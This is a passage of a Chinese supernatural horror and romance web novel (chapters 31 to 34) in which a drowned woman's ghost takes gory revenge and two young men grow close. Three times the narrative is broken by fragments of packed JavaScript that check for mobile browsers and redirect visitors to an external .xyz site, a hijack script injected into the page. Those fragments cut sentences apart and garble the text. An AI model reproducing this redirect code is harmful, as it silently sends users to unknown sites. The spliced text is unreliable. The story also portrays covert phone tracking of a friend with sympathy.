掌心隔着一层薄薄的布料,贴上对方的大腿,很热,但没抓到瓜子。 李株疼得直冒冷汗,“左边,在左边啊大哥,你快点。” 见两人旁若无人的亲热,黄大师气得手抖,继续念咒掐诀。 这一次,李株的右脚也往前跨了半步。 高从霭的指尖碰到瓜子顿了顿,居然真的有。 他抓了出来,心有疑虑但行动听从指挥,剥开一粒放到青年唇间。 这回不是焦糖味,是奶油味。 李株嚼都没嚼,囫囵咽下去。 “还要!” 高从霭从未在青年眼中,看到如此迫切的渴望。 想不到他爱吃瓜子到了这种地步。 接着是第二颗,第三颗。 大概是量少,李株隐约感觉到身体找回了一点控制权,但不明显。 见高从霭想拉自己,李株急忙道:“你别管我,继续剥,别停。” “你们!”黄大师气得舌头打结,从业四十年,头一次有人敢这样羞辱他。 他念咒的声音里充斥着浓重的戾气,李株对身体的控制能力却逐渐增强。 一股奇怪的推感自体内生出,试图将控制他的邪恶力量逼出体内。 竟然真的有用! 李株不抠门了,找系统又兑换了四个积分的瓜子。 伸手掏兜的高从霭眼神变得很深,他记得清楚,里面只剩下几颗才对。 “省省力气吧老妖道,老子不怕你!”李株猖狂的骂道。 黄大师也发现自己的输出变得滞涩,就像遭到了某种看不见的阻碍。 从走进这栋别墅起,就处处透着古怪。 可只有拿青年去献祭,他才能离开这里。 “找死!”黄大师怒喝一声,从挎包里取出红纸剪出的小人。 每个纸人只有巴掌大小,个个点了黑色的小眼睛。 它们咧开嘴,发出嘻嘻嘻的笑声。 嘻嘻。 嘻嘻嘻嘻嘻嘻嘻嘻……一只只小影子飞快掠过,抓住李株和高从霭的四肢压到地上。 地面的积水没早已没过耳朵,耳道中是轰轰的水声,以及哀怨的细小哭泣。 那些鱼嘴是有声的。 它们一直在哭。 水位增高,越过下巴漫延到嘴唇上,腥臭钻进嘴里,李株被狠狠呛了一下。 水仿佛化作一根麻绳,勒住了他的喉舌,呼吸越来越困难。 高从霭的情况比他更糟,水里的鱼嘴对他比对其他人更加“热情”,它们钻进他的皮肤、唇角、耳道。 密集的哭充斥着他的大脑,仔细边听,除了哭泣,还有另一种声音。 “小霭怎么摔了,疼不疼?” “明天是你生日,妈妈给你一个小惊喜好不好?” “我的小霭真可爱,来,妈妈抱。” “小霭,小霭,小霭,小霭……” “把手给妈妈好不好,妈妈来接你了……” 高从霭的脑海中挤入许多不曾有过的画面,不记得,却又那么真实。 “小霭,小霭……” 喊得心酸又执拗,高从霭感觉自己的手被握住,对方拉着他,想带他去某个地方。 高从霭没有反抗,就在身体逐渐飘忽之际,脑海炸开一道光,无力的身躯被某种熟悉又陌生的力量充盈,与此同时,另一只手也被碰了一下。 那只手是凉的,倔强的勾着他的手指不放。 “跟我走,听话。”女人的话不再藏于繁杂的哭泣声中。 隐藏其中的恶毒清晰起来。 高从霭睁开眼,一张肿胀的苍白的脸近在咫尺。 怨怼的目光锁定他,黑色的长发却缠在李株身上。 青年像一个被包裹住的茧蛹,余下一只手留在外面,不停地勾动他的手。 真贪心,想收下祭品,还想把他也拖入地狱。 刚刚叫他的不是妈妈,是怨气和执念的化身。 也是他用带血的生肉,儿时日日夜夜的哭泣,对高从俞和高彦和的仇恨养出来的恶鬼。 压在身上的水有千斤重,高从霭动不了分毫。 李株的手指逐渐失去力道,高从霭扭头看去,那些黑发勒进了青年的身体,流出的血没有在水中晕开,而是化作丝丝缕缕的红线融入发丝当中。 黄大师立在水中,见李株被厉鬼逐渐吞噬,心头大快的朝着水里啐了一口。 “跟老子斗,活该落到死无全尸!” 他甩了甩腿,发现许多鱼嘴像吸盘一样黏在腿上,血顺着皮肤往下流。 这些玩意儿全是鬼气所化,沾多了轻者倒霉,重者有血光之灾。 “滚开!”他弯腰去拍打,却见浮在水面用来压制两人的纸人飘回来一只。 是高从霭那边来的的。 黄大师暗叫不好,急忙又掏出几只想要补上。 咒语尚未出口,桎梏高从霭的另外三只被一只苍白的手攥住。 神情阴森的男人从水里站起来,湿漉漉的纸人在他手里烧着,变成黑色的粉末。 “这怎么可能!” 黄大师脚步虚浮地后退几步,靠到墙上。 高从霭抬眸看他,漆黑的眼瞳在扩大,黑色的灰烬从指尖落下来。 黄大师意识到他和之前不一样了,身上那股邪气比那只女鬼还重! 到底怎么回事! 黄大师拔腿就跑,被高从霭给抓回去,揪住头发按入水中。 一束头发被从李株身上拽下来,塞入黄大师的嘴里。 那些头发丝似有生命,顺着口腔往下爬。 黄大师感觉自己的肚子在发胀,发丝缠住五脏六腑,尖锐的疼痛蔓延开,四肢无力的他只能抱着肚子在水里打滚。 呜呜呜—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451000|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >细小的哭声宛如蚊子叫,顺着头发钻进他的每一根血管。 高从霭将李株从水中扶起来,青年身上的头发迅速转移到黄大师身上。 胸口一窒,李株捂着脖子干呕起来。 太特么恶心了。 浑身上下全是尸臭味,好在身上不疼了,就是在流血。 高从霭牵着他淌过水,来到卫生间冲洗。 两人经过,水里的鱼嘴争抢着避开,仿佛遇见洪水猛兽。 “刚刚发生什么了吗?”李株的手被高从霭握着,放到水龙头下。 “没什么。”高从霭的瞳孔缩了缩,扩大的些许的瞳仁变回原样。 他怔怔看着李株手上的伤口,因为流血,清水变成了粉色,散发着淡淡的铁锈味。 他难耐地咽了咽口水。 外面的黄大师叫声一下比一下凄惨,高从霭横抱起李株,直接从他身上跨过去。 “别走,救救我……”黄大师伸手抓住高从霭的小腿。 男人低头看去,纯黑色的眼睛如无机质的宝石。 黄大师的手一抖,松开了,很快就被拖入水中,遭受反噬带来的痛苦。 就在他以为自己快死的时候,一只脚突然踹过来。 李株站在水里盯着他。 黄大师这才发现水面平静了,身上的头发虽然没有彻底松开,但消停了不少。 他苍白着脸,哭着道:“徐先生救命。” “高从俞想杀我的事,你知道多少?”李株举着手机问。 黄大师眼珠子往下瞥,黑压压的鱼嘴朝四周散开,他们所在的这圈成了真空地带。 “我不知道……”黄大师支支吾吾。 李株对高从霭说:“我们走。” 两人刚离开两步,鱼嘴就涌上来,漂浮在水中的发丝散开,露出藏在下面的鬼脸。 鬼脸张开嘴,就连舌头也是坑坑洼洼的,露出两排利齿。 “我知道!我全都告诉你!” 李株脚下一顿,拉着高从霭倒回去。 奇迹发生了,黄大师四周的邪祟迅速退散。 黄大师错愕,视线在李株和高从霭身上来回梭巡,这两个人,到底是谁有问题? 可怕到连鬼都害怕…… —— 三楼,高从俞被关在房间里,人不知何时从轮椅跌到了地上。 “小俞,快来看,阿姨给你买了新衣服。” 银铃般清脆地声音传来,他却狠狠地打了个颤。 这声音他记得,是梁小姐。 他慌乱的往四周看去,涨到约莫三十公分的水面平静,之前那些啃得他又痛有痒的东西都不见了。 可越是这样,他内心越不安。 “不是我杀的你,不要找我。” “小俞,来,阿姨帮你把衣服脱了。”冰凉的手碰上高从俞的后颈。 “滚开!别碰我!”高从俞发了疯的在胡乱挥动双手。 那只手整个贴住他的皮肤,他清晰感觉到,有指甲正试图刺破皮肤。 “不要,不要,我错了,求求你放过我。” 往日的高高在上不复存在,他像个可怜的乞丐,费劲全身力气跪坐起来。 后颈的存在感明显,他开始感觉到疼痛。 “你这身衣服湿透了。” “小俞,听话。” 梁小姐进家门的时候,高从俞早已记事,这些话全是女人曾对他说过的。 一字不差。 高从俞张了张嘴,发现自己无法出声,后颈的疼痛在加剧,他不受控制的反手去摸。 后颈一块皮翻起来了。 高从俞的手指捏住那块皮,开始往下撕扯。 同时,他废掉的双腿居然从地上站了起来,一比一步地往外走。 32.大哥,收手吧 “妈妈你快来!高叔叔站起来了!” 一栋别墅里,小姑娘见到了医学奇迹,吵嚷着叫妈妈来看。 妈妈以为女儿在说笑,嗔怪的轻轻拍了下她的小脑袋,“瞎说,高叔叔都坐三年轮椅了,怎么可能站起……” 说到一半,也看到了落地窗外的情景。 他们家的别墅在通往人工湖的必经之路旁,此刻敞开的花园大门外,高从俞正挺直腰背朝前走。 “……”女人惊讶得说不出话。 他们家老宋和高家有生意往来,高从俞车祸第三天就去看望过。 正巧听到医生对高彦和说,高从俞伤了神经,这辈子都站不起来了。 这些年高从俞离不了轮椅,佐证了当初医生的话。 女人忙给丈夫打视频电话,“老宋!高从俞能站起来了,你看!” 男人“扯淡”两个字尚未出口,视角跟随妻子来到花园外的路上。 女人太过惊讶,完全忘记注重礼节,小跑着追上高从俞怼着脸拍,“你快看,这是不是高先生!我没认错吧!” 高从俞额角青筋鼓起,双目赤红,做梦都想站起来,但不是现在这样像只猴子一样被围观! “我曹!”看到他怒火喷张的脸,男人惊得从办公桌后跳起来。 畏惧过后,更多的是惊讶,“不可能,可……” 可事实摆在眼前。 难道高从俞以前是装的?吃多了撑的每天坐轮椅? 这不是触霉头咒自己吗! “朱姐,你拍什么呢。”另一栋别墅的女主人看到女人举着手机跟拍,笑着走出来。 一愣。 “高先生您能站起来了?!”当初为了讨好高家,她还撺掇过丈夫从国外回来时,特意买了最新的科技按摩仪送过去。 搞了半天,人家早就能站起来了! “高先生,原来您能走路啊。” “朱姐、蓝姐,你们俩这是要去哪儿啊?” 紧接着,第三个人也加入了围观队伍,让高从俞变得更加打眼。 走到人工湖时,他身后跟了足有二十多个人,男女老少都有,几乎每个人都举着手机拍摄。 高从俞说不出话,呕得心脏抽痛,浑身的血液往脑门冲。 恨不得砸烂那些手机,让保镖把这些人通通轰走。 可惜他办不到! 保镖不知所踪,而贴在背上的躯体与他的手脚捆绑,不,不是外部的捆绑,是在融入他,掌管他的一切行动。 唯独留下清醒的意识。 是报应。 是惩罚。 那个女人在向他复仇。 黄大师去哪儿了?黄大师!黄大师! 高从俞在心里疯狂求救,落到旁人的镜头中,也不过是嘴歪眼斜的诡异画面。 “高先生到底怎么回事?” “站起来就算了,脸也那么狰狞,而且他为啥不说话?” “有点渗人是怎么回事?你们看高家别墅那边,好阴森。” 众人回头,那栋别墅被黑暗笼罩,光线明显比其他地方更暗淡。 涌动的云朵就像一个个骷髅脑袋,张开黑色的嘴巴想要吞噬。 “邪了门儿了!” “要不咱们走吧,感觉不太对劲……” “是不是被鬼上身了?” 耳边叽叽喳喳,这些人已然忘记高从俞曾是他们试图讨好的人。 到了人工湖,意识到对方想要做什么,高从俞拼命想夺回控制权,使得身体颤抖不止,浑身的肌肉都在抽搐。 “他下水了!” 伴随着一声惊呼,高从俞沿着人工湖的小坡往下走。 冰冷的湖水没过脚背,踩上软烂的泥,他的感官变得非常敏锐。 清晰感觉到一条虫子从脚底挣扎逃窜,还有植物弯曲的根茎…… “我当时是有意识的……” 低喃在耳畔响起,冒着寒气的温度沿着侧脸窜进高从俞的身体。 “我拼了命的想睁开眼,想反抗……为什么要杀我,你抬起我脚的时候,一定没想过死人有怨能化作厉鬼吧……你知道他死的时候,跟我说了什么吗?” “他”指的自然是高彦和。 高从俞额角的青筋狠狠跳动两下。 那道声音继续说:“他说,他不该杀我,他后悔了。你们有后悔的机会,可我呢?” 一道虚影从后背绕到面前,高从俞看到一张凝结出的脸。 她张开嘴,露出被鱼咬过的舌头。 “水里好冷好冷,你们都来陪我吧……”近在咫尺的嘴不断扩大,高从俞看到她的牙齿变得尖利,嗓子眼里一片鲜红。 烂糟糟的舌头触上他的脸。 坑洼中像是长出无数钩子,一碰脸上就火烧火燎的疼。 不要吃我,我错了,我真的错了! 高从俞的恐惧和悔恨流回肚子里,身体继续朝湖中心移动。 “他要跳湖!快救人!” 不知谁喊了一句。 举着手机拍摄的人相互看,竟没有一人敢跨出那一步。 “高先生!”物业经理狂奔而来。 有人把视频发到了网上,物业接到通知吓得魂飞魄散,带保安赶来。 见高从俞真的想不开,经理率先脱掉西装外套,顾不得脱鞋冲进湖里。 眼看要碰到高从俞的胳膊,一片黑压压的东西突然涌过来。 定睛一看,是黑色的小鱼。 这片人工湖不小,除了物业自己养的鱼,偶尔还有业主放生的。 这些鱼茁长成长,不知不觉间族群繁衍得越发庞大。 可他明明记得是红色、黄色的锦鲤! 那些鱼黑如浓墨,仔细看,它们张开的嘴里似是粉红。 这一幕,着实把他吓到了。 脑子里生出一个念头——它们会吃了他。 经理短暂的停顿间,高从俞继续往前走。 那些鱼游过来,迅速挤占了救援空间,将高从俞和物业经理彻底分隔开,并且其中有一小部分为了驱赶经理,跃出水面张嘴咬住他的手臂。 没咬疼,但那种触感和恐惧深深慑住了他。 经理没出息的白眼一翻,当场晕倒了。 现场乱作一团。 几个物业工作人员忙着把经理捞回来,保安们蹬掉鞋子,一一跳进水中救人。 被湖水淹到腰部的人突然停下,抬起一只手捏住后颈。 那有一块翻起的皮。 高从俞双手高举伸向后颈,捏住那块朝反向撕扯。 那块皮一被扔进水里,不过几秒就被鱼群抢食干净。 跑来湖边的住户又多了不少,大家看到高从俞的两只手,以不可能的方式继续伸向后背下方,这一次是撕下来两个巴掌大的皮肤。 腰腹周围的湖水染成血红,游动的鱼群躁动,张开嘴黏在高从俞身上,啜下一块块小碎肉吞入腹中。 画面过于血腥,吓傻了湖边的人群。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462561|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 手机中的拍摄画面,如同一场惊心动魄的默剧。 湖水中成年男性露在水面的半截躯体,被啃得深可见骨,有眼尖的甚至看到了他后背的白色肩胛骨…… 当晚,血腥程度堪比欧美惊悚片的视频被各yxh大肆转载。 为了过审还很聪明的做了马赛克处理。 与此同时,另一段视频也刷爆全网。 是一个相貌平平,大腹便便的中年人,跌坐在水里讲述他和高从俞的恶行。 网友们反复看了几遍,没听错也没看错,这俩居然用邪术害人! 他们最初设计了一场车祸,企图把人害死后抽出魂魄献祭给人工湖的水鬼。 事情失败后就更离谱了,堂堂霸总忽然想靠美色吸引钙子,让人留宿在女鬼曾经的卧室,好让他被鬼缠上。 【这是人能想出来的剧情?】 【大清亡了多少年了,还来封建迷信这死出,给老子整笑】 【高家是不是要垮了?接连死了两个掌权人,还爆出蓄意杀人的丑闻,股价跌得没法看了】 【老子昨天刚买进,今天跌成shi了!!!!】 【信献祭不如信我是秦始皇】 大部分是不信的,但因为讨论度实在太高,消息散布得足够广,警方那边迅速展开调查。 甚至把梁小姐自鲨的案子重新翻出来。 早早退休的九十多岁老管家被警方找到,他虽然没有亲眼见到,但在梁小姐死那一晚“听”到了不少声音。 并且提供线索,让警方找到了当初给高彦和弄迷药的人。 梁小姐为人警惕,安眠药放少了会有醒来的风险,放多了怕有异味被闻出来,还可能引起肠胃不适,就更不可能神不知鬼不觉的把人弄死了。 迷药无色无味,既能让人四肢无力失去反抗能力,又能让人陷入深度睡眠。 这些线索加上黄大师的“举报”组成一条完整的证据链。 不到三天,警方发布通报说明了高彦和十几年前故意杀人,十几年后迷信鞋|教雇凶杀人。 深挖下去,官方又发现了高彦和执掌公司期间的许多违法乱纪行为,牵扯出不少人。 如果不是高彦和和他大儿子死得蹊跷骇人,这些灰色的秘密不知道要埋藏多久。 【你们说,该不会真的是报应吧】 【不能因为没见过,我们就说玄学不存在,反正经过这次事情,我是信了】 【我也信了】 【我找朋友看过,视频是真实画面,如果不是中邪,怎么可能反手撕掉自己的皮?】 【我就是别墅区的现场观众,人的身体有保护机制,疼痛刺激下手会因为条件反射收回,不可能继续往下撕。而且gcy的手当时都快拐到后背了,正常人胳膊早脱臼了。】 【假设是厉鬼复仇,那个举报人应该会继续遭报应吧?光是坐牢哪够】 黄大师的罪名用现代法律审判,的确不重。 协助杀人但未遂,和封建迷信加在一起,被“自首”和“监狱里表现良好”一对冲,蹲不了几年。 李株听高从霭说的时候,愤慨地捶了下桌子,“艹,太便宜他了!” 现在是休息时间,外卖高峰期刚过。 李株坐在台阶上刷手机,一旁来送饭的高从霭,手捧着精致的高档饭盒。 高家死了两个,高彦和的财产全由高从霭继承。 他无心夺权公司,继承遗产后把股份打包兜售,从小可怜变成了大富豪。 33.大哥,收手吧 “这种人就该被千刀万剐,最好跟高家那两货一起死。” 李株说了两句放下手机,不知是不是演人设习惯了,他从前那么喜欢摆烂,心态平和的一个人,只要一想到三个畜生的所作所为,心里邪火直往外冒。 高从霭情绪淡淡的,“他逃不了。” 李株忽然想起一件很重要的事——梁小姐杀了高彦和又溺死高从俞后,真的离开了吗? 两个始作俑者死了,他下意识默认事情结束。 可曾经镇压过梁小姐,出主意拿人献祭当替身的黄大师还活着,虽不是主犯但同样罪不可恕。 “你妈妈会继续报复他?” 高从霭没说话,冷漠的眼神道出一切。 李株心里舒坦了,恶人就该有恶报。 黄大师早年攒不少钱,蹲几年出来继续享受人生,这种好事必须留在梦里。 没两天,高从霭带来了新消息。 黄大师半夜起来上厕所,一头栽进马桶中,其他狱友早上起床才发现。 把人拉起来的时候,整张脸都泡烂了。 活像是在水里沉了十几天,抬走的时候,所有人离得远远的。 李株唏嘘,在马桶里闷了大半夜,入味了吧。 郎峰早听他哥说了最近发生的事,用力拍腿,“大快人心!我下去买酒,必须庆祝庆祝。” “喝你个蛋!”李株给他后脑勺来了一下,“累了一天,老子想早点睡觉。” 跑外卖的时间长了,谁都遭不住。 李株连续几天拿下业务冠军,有点乏了,他举高双手拉伸疲惫的身体,垂眸看见高从霭正仰头看自己。 那双眼睛直勾勾的,从高从霭的角度正好看到青年衣服下的一截腰。 腹肌轮廓分明,比脸和手背的皮肤更白。 高从霭还记得那天早上,意外抵上时的触感。 李株顺着低头看了眼,不是吧,在盯我腰? 变态。 他连忙放下双臂,欲盖弥彰的扯了扯T恤。 兄弟俩是在合租屋楼下遇到高从霭的,来之前高从霭发过短信,但李株因为手机没电,没看到。 路灯光线把男人的发稍染成了橘色,在看到他后,高从霭暗淡的眼睛一下子就亮了。 那一刻,李株说不出心里是什么感觉。 现实中他父亲去世得早,妈妈工作忙,后来再婚又生了一个弟弟,将那份本就给予不多的关注,又分走了一部分给第二个孩子。 从小到大,李株念的都是寄宿学校。 偶尔回家吃饭,他总觉得那三个才是一家人。 他曾尝试着和母亲谈心,缓和日渐疏离的亲情关系。 但母亲不以为意,说他想太多,说他心思深,说他钻牛角尖。 还说他学习成绩不好,反倒学会了嫉妒亲弟弟。 后来李株参加工作,母子俩的关系更加疏远,又因为能力不够突出,被母亲认为是没出息,两人关系一度降到冰点。 这是李株第一次知道,原来自己也是有人愿意等的。 知道他们没吃饭,高从霭还特意带了大酒店的饭菜,并邀请了另外两个合租人。 沈萍芳把菜倒进盘子里的时候,都已经凉透了,不知道这人在外面等了多久。 想起这一段,李株又悄悄收回来心里骂的那句“变态”。 不管在其他人眼中如何,高从霭在他这里是个缺爱,有点偏执的好人。 庄恒川敏锐的察觉气氛不太对,视线在李株和高从霭两人间来回跳转。 忽然就明白了。 他清清嗓子,抓着郎峰往门口走:“喝酒伤身,咱俩买点饮料回来。” “不是,买饮料你一个人去就行了,拉上我干嘛。” 郎峰反抗的声音,很快消失在防盗门外。 热好菜的沈萍芳端着盘子走出来,发现刚刚还热热闹闹的客厅忽然安静了,有点茫然。 “马上吃饭了,他们人呢?” “买饮料去了。”李株重新坐下,等沈萍芳一走,往高从霭那边靠,“你能不能别总盯着我。” “我喜欢。”高从霭声线平稳,如果不是李株知道这人的脾气,一定会认为他在挑衅。 “我一个大男人有啥好看的。”李株粗声粗气地说,心头有点慌。 “我不知道。”高从霭想了想,“或许是因为我只有你一个朋友。” “对对对,一定是这样。”李株连声附和。 一股小小的失落涌上来,如果朋友够多,高从霭就去盯别人了,哪有工夫只盯他。 不会每天晚上给自己发消息,也不会像今晚这样,拎着好吃的饭菜来楼下等他回家。 —— 庄恒川拎着大瓶可乐从小卖部出来。 郎峰在后面嘟囔:“就买一瓶你还拉上我。” “你真不知道,还是假不知道。”庄恒川回头看他,“没察觉出来?” “察觉什么?”郎峰呆滞。 “徐晓哲和他那朋友不太对劲。”庄恒川说,“有个词叫什么来着?哦,氛围,他俩氛围不对。” “哪儿不对了。” “那谁看徐晓哲的时候,眼睛都快黏到他脸上了。” 经这么一提,郎峰也察觉到了。 自他哥从高家回来后,高从霭时不时往这边跑,每次都提想留宿,又被他哥打发回家。 而且每次,只要他扭头,就能看到高从霭盯着他哥看。 他哥说话要盯,喝水要盯,刚才出门前,他哥就是起来伸个懒腰也要盯。 “曹!”郎峰惊得停下来,“他们要搞对象?!” 他以为他哥变好了,没想到是换了对象! 见他脸色难看,庄恒川蹙眉:“我以前就发现了,你很反对徐晓哲喜欢男人?” “喜欢男人有什么好,不能结婚也不能生孩子。我哥将来要成家立业的,喜欢男人就不能再有正常人生了。” “什么是正常?”庄恒川低头点了一支烟,又从烟盒中抖出一根给郎峰。 郎峰咬在嘴里,暂时没点,“像其他人一样呗。” “其他人是什么样?” “谈恋爱、结婚、生孩子、一起到老。” “谈恋爱会分手,结婚可能会离婚,生下的孩子未必会孝敬父母,一起到老就更不一定了,谁能掌控岁月和生死?”庄恒川道,“在我看来,心之所向就是正确。当然,必须建立在合法,且不违反道德的基础上。” 郎峰嫌弃,“你说话怎么文绉绉的。” “嗐,我也是在书上看的。”知道对方不是小肚鸡肠的人,庄恒川直说了,“他之前不是暗恋我吗,我是真被烦得不行,觉得他是变态,不正常,就去网上问,还、还骂同性恋就是有病。结果反被狠狠教育一通,对了,他们也批评了徐晓哲行为过激,比我更过分。” “那些人说我不该对同性恋群体抱有偏见,毕竟人家没花我的钱,也没吃我家的米,个人选择不同不该歧视人家。我后来也查了资料,这的确不是病……以前是我狭隘了。” “……”郎峰万万没想到他觉悟这么高,一时不知道该说什么。 长久以来,除了被他哥骚扰的当事人,他是最反同的。 现在队友站到了对立面,他孤身一人还要坚持吗? 而且庄恒川说得对,只要不伤害他人,他哥是不是同性恋又有什么关系呢,又影响不到他们的兄弟情。 如果他固执己见,继续反对,坚固的兄弟情势必出现裂痕。 “我知道了。”郎峰低声说,眉眼低垂的模样,显然没有完全接受。 庄恒川拍了拍他的肩膀,理解一下子要彻底转变很难。 两人回到家,客厅里放着综艺节目,饭菜也全摆上桌。 望着满桌饭菜,郎峰对他哥搞男对象的事,多了几分接受度。 知道高从霭带来的菜多,没想到这么多。 回锅后样式自然不如酒店原本的好看,食材却是看得见。 郎峰忍不住咽口水,其实他哥跟小高先生在一起也不错,不愁吃不愁穿,挺好。 重点是,他能跟着沾点光。 李株不知道自己因为一顿饭就被卖了,递筷子给高从霭,又给他倒了一杯可乐。 高从霭吃饭很安静,不紧不慢,几乎没有声音。 胃口依旧不好,饭量只有李株的三分之一。 他上下打量对方,“你是怎么长这么高的?” 高从霭:“天赋异禀。” 李株: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高从霭洗完澡出来,湿漉漉的头发滴着水,脚踩在拖鞋里,走路发出吧唧吧唧的声音。 有点出戏,李株噗嗤笑出声。 之前高从霭来住的时候,也这么搞笑吗?李株想不起来了,大概是那时候关系不如现在亲密,不够关注。 他怀里掏出一个新枕头,问高从霭:“你睡哪边?” 正坐在自己床边刷手机的郎峰翻白眼。 李株余光瞥见什么,扭头看去,好兄弟又在刷弹幕了。 【他冲谁来的不知道吗,用脚趾头想也知道跟你睡好吗】 【明知故问,假,太假,假死了】 李株拳头硬了,沉着声音说:“该你去洗了。” 郎峰掏了掏耳朵。 【恼羞成怒了,啧啧啧】 李株看他怪模怪样的脸,恨不得踹一脚,欠收拾。 高从霭看着两人你来我往,眼神里的羡慕藏不住。 李株的情绪一下子没收住,瞥见高从霭的表情,冷笑一声,“怎么,你也想挨骂?” “嗯,想。” 李株顿时不说话了,尴尬。 高从霭从他怀里接过枕头,与李株的枕头挨在一起,“我跟你睡。” “哦。”李株的嘴唇抿了抿,对上男人的视线,那股莫名冒出来的尴尬更严重了。 “我出去喝水。”说完仓惶地跑了。 房门被拉开,又重新合上。 高从霭看向并排在一起的两个枕头,抬手摸了摸李株那个。 上面有洗发水香味。 他附身闻了闻,发出长长的喟叹。 高家出了丑闻,连带着别墅也变得不祥,高从霭将其低价卖掉搬去了大平层。 每天夜里,他要握着手机才能睡着。 高从俞安装在青年手机里的跟踪软件,被移植到他的手机里。有时候发消息青年不回,或者对方睡着后,高从霭就会打开软件盯着小红点。 今天下午五点,发出的消息十分钟内没收到回复,他立刻打开跟踪软件。 知道青年的位置后,烦躁的情绪被安抚大半。 他以前也对朋友有很强的占有欲,这次一样,又不一样。 或许是因为徐晓哲比他们更加特别,更愿意包容他。 在徐晓哲这里,他不用隐藏想要独占的贪念,因为对方什么都知道。 听到及近的脚步声,高从霭收回摩挲枕头的手,拉开被子半躺下。 34.大哥,收手吧 李株进来的时候,高从霭靠在床上玩手机,他若无其事的经过,实则往对方身上确认了三次。 很好,穿了衣服。 要是当着郎峰的面也要坚持裸睡,那才是真英雄。 洗完澡,冒着热气和些许潮气的李株站到床边。 吹干的头发蓬松,毛茸茸的,高从霭颀长的身子躺在外侧,像一座大山挡住他的去路。 李株:“往里面挪一下。” 高从霭不动,“我睡外面。” 李株:“我也想睡外面。” “你不想。”高从霭说。 李株:“……”从精神病院越狱那会儿,可是他说什么高从霭就照做什么。 现在摆脱枷锁,大仇得报,出息了。 学会不听话了。 李株较劲,“为什么?” “以防你逃跑。”高从霭用玩笑的口吻说,眼神直白,这是他内心的真实想法。 床靠墙,他躺在外面,青年有任何动作他都能第一时间知道。 “……”李株无语,“你变了,你之前留宿不这样。” 高从霭点点头:“我也觉得自己变了,你帮我分析分析原因。” 李株坐到床边,一手环抱胸前,一手托着下巴,“我想不出来。” “那就慢慢想。”高从霭拍拍旁边,示意他快上床。 “你们俩够了。”郎峰不知道在对面床坐了多久。 他就是个没有存在感的隐形人。 没听庄恒川点破之前,他没察觉哪里不对,眼下才发现他哥对高从霭脾气好得过分。 要是换了他这么叽叽歪歪,早骂人了。 李株愣了下,“你啥时候进来的?” “两分钟前!”郎峰气得吹胡子瞪眼。 李株看高从霭,高从霭说:“你忙着跟我斗嘴,没发现。” “谁跟你斗嘴了,别给自己脸上贴金。”李株脱了鞋,想直接从高从霭腿上跨过去,又觉得怪怪的。 舍近求远,从床尾爬上床。 高从霭看着他双膝蹭过床单,当睡衣的宽大T恤领口下坠,露出锁骨和平坦的胸口。 他眸色暗了。 为什么变了呢?高从霭想,因为这位唯一的朋友有了“食欲”。 看到青年舔嘴唇,他会跟着口渴。 比如现在,看到对方朝自己爬过来,又一次忍不住吞咽。 凸出的喉结上下攒动,心跳声变大、变快,片刻后恢复平静。 李株躺到属于自己的位置上,拉起毛巾被盖肚子。 对面,郎峰举起一本书挡住大半张脸,露出一双眼睛偷看。 那一个倚靠床头垂眸,一个平躺仰头说话的两人,越看越像小夫妻。 草,辣眼睛。 郎峰气哼哼的扔掉书,躺得很用力,后背撞上硬床板发出“砰”的一声。 “哥,我睡了!” “睡就睡呗,扯着嗓子喊魂呢。”演人设久了,李株骂人张口就来。 郎峰有时候觉得自己挺贱。 被他哥骂就是被重视,被重视了皮就不痒了,大热天的用毛巾被捂着头睡。 最可怕的是,嘴角挂着笑。 李株看他像个毛毛虫一样蜷缩,有点无语。 之前是放心不下高从霭,现在看郎峰这个痴呆样儿,也有点放心不下了。 要是能打包一起带走就好了。 哎。 高从霭侧躺下来,“为什么叹气?” 李株抬眸对上他放大的脸,往后缩,“没什么。” 想了想,他扯起一角毛巾被盖住高从霭的脸,命令道:“睡觉。” 高从霭伸出一只手朝李株的方向摸索。 李株:“你干嘛?” 话音刚落,那只大手握住他的手不放。 李株做贼心虚,瞄了眼郎峰,用只有两人才能听见的声音说:“找打是不是,撒手。” “不放,你打吧。”高从霭语气怀念,“我们好久没握过手了。” 李株:“……” 他尝试抽|出来,反而被握得更紧。 高从霭的手不老实,根本不是正常握,大拇指贴着青年的皮肤来回磨蹭。 李株鸡皮疙瘩都要起来了。 一脚踹过去,腿从高从霭的腿中间穿过。 李株下意识想收回,发现根本动不了。 把人桎梏住的感觉很好,高从霭的心被满足感充盈。 他闭上眼睛,低声说:“晚安。” 李株:“……” 他再一次尝试着把腿收回来,高从霭倏地睁开眼,“睡不着吗?” 那双眼睛太黑太沉,涌动着李株看不懂的情绪。 察觉到潜在危险,李株抿嘴笑,两眼闭得紧紧的。 高从霭不想睡了,贪恋的视线定格在青年脸上。经过风吹日晒的脸皮肤黝黑,鼻梁很挺,睫毛有点短,但浓密。 紧抿的缘故,嘴唇变得很薄。 不知道看了多久,他抬手按灭床头的电灯开关。 这一夜李株睡得不算安稳,半夜迷迷糊糊醒来,发现自己依旧维持睡前的姿势,可是他太困了,尝试挣扎几次作罢,很快就陷入新一轮的沉睡。 清早,客厅里传来走动声。 手机闹铃震动,郎峰鲤鱼打挺坐起来,想叫他哥起床。 张开的嘴卡住了,眼睛瞪得像铜铃。 他哥整个人窝在另一个男人怀里,嘴巴微微张开,正在打呼! 